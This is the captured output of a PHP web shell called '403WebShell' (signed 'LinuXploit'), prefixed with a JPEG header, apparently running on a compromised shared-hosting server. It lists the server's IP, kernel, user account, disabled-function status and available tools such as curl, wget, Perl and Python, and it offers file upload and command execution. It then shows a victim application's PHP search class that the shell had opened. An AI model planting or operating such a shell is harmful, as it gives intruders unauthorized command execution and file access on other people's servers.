����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.12.147.188
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/SearchFileManager.class.php
<?php

namespace App\Services\File_Manager;

use App\Core\Database;
use App\Helpers\AuthHelper;
use App\Helpers\CoreHelper;
use App\Helpers\ThemeHelper;
use App\Helpers\TranslateHelper;
use App\Helpers\ValidationHelper;

class SearchFileManager extends BaseFileManager
{
    public function getData() {
        // preload current user and DB
        $Auth = AuthHelper::getAuth();
        $db = Database::getDatabase();

        // note that there are no folders on the recent page, only files
        $filesClauseReplacements = array();
        $filesClause = 'WHERE (file.userId = :user_id '
                . 'OR file.uploadedUserId = :user_id) '
                . 'AND file.status = "active" ';
        $filesClauseReplacements['user_id'] = $Auth->id;
        
        // add search filtering
        $filesClause .= ' AND (file.originalFilename LIKE "%' . $db->escape($this->getParameter('searchTerm')) . '%" '
                . 'OR file.shortUrl LIKE "%' . $db->escape($this->getParameter('searchTerm')) . '%" '
                . 'OR file.keywords LIKE "%' . $db->escape($this->getParameter('searchTerm')) . '%")';
        
        // filter by date range
        if ($this->getParameter('filterUploadedDateRange') !== null) {
            // validate date
            $expDate = explode('|', $this->getParameter('filterUploadedDateRange'));
            if (count($expDate) == 2) {
                $startDate = $expDate[0];
                $endDate = $expDate[1];
            }
            else {
                $startDate = $expDate[0];
                $endDate = $expDate[0];
            }

            if ((ValidationHelper::validDate($startDate, 'Y-m-d')) && (ValidationHelper::validDate($endDate, 'Y-m-d'))) {
                // dates are valid
                $filesClause .= " AND (UNIX_TIMESTAMP(file.uploadedDate) >= " . CoreHelper::convertDateToTimestamp($startDate, 'Y-m-d') . " "
                        . "AND UNIX_TIMESTAMP(file.uploadedDate) <= " . (CoreHelper::convertDateToTimestamp($endDate, 'Y-m-d') + (60 * 60 * 24) - 1) . ")";
            }
        }
        
        // load the files data into the object
        $this->getFilesData($filesClause, $filesClauseReplacements);
    }

    public function requiresLogin() {
        // allow logged in only users
        return true;
    }

    public function getRequiredPrechecks() {
        return false;
    }

    public function getPageTitle() {
        return '"'.ValidationHelper::safeOutputToScreen(str_replace(array('\'', '"'), '', $this->getParameter('searchTerm'))).'" '.TranslateHelper::t('file_search_results', 'File Search Results');
    }

    public function getPageUrl() {
        return ThemeHelper::getLoadedInstance()->getAccountWebRoot().'/search/?filterAllFolders='.$this->getParameter('filterAllFolders').'&filterUploadedDateRange='.$this->getParameter('filterUploadedDateRange').'&t='.urlencode($this->getParameter('searchTerm'));
    }
    
    public function getShowToolbarActionButtons() {
        return true;
    }

    public function getBreadcrumbs() {
        // get base level first
        $breadcrumbs = $this->getBaseBreadcrumbs();

        // add on any custom breadcrumbs
        $breadcrumbs[] = '<a href="#" onClick="loadImages(\''.$this->getPageType().'\', \'\', 1, 0, \'\''.$this->generateAdditionalParamsStringForPaging().'); return false;" class="btn btn-white">' . $this->getPageTitle() . $this->getBreadcrumbTotalText() . '</a>';

        return $breadcrumbs;
    }

    public function getSelectedNavItem() {
        return -1;
    }
    
    public function generateAdditionalParamsStringForPaging() {
        return ', {\'searchTerm\': \''.ValidationHelper::safeOutputToScreen(str_replace(array('\'', '"'), '', $this->getParameter('searchTerm'))).'\', \'filterUploadedDateRange\': \''.ValidationHelper::safeOutputToScreen(str_replace(array('\'', '"'), '', $this->getParameter('filterUploadedDateRange'))).'\'}';
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit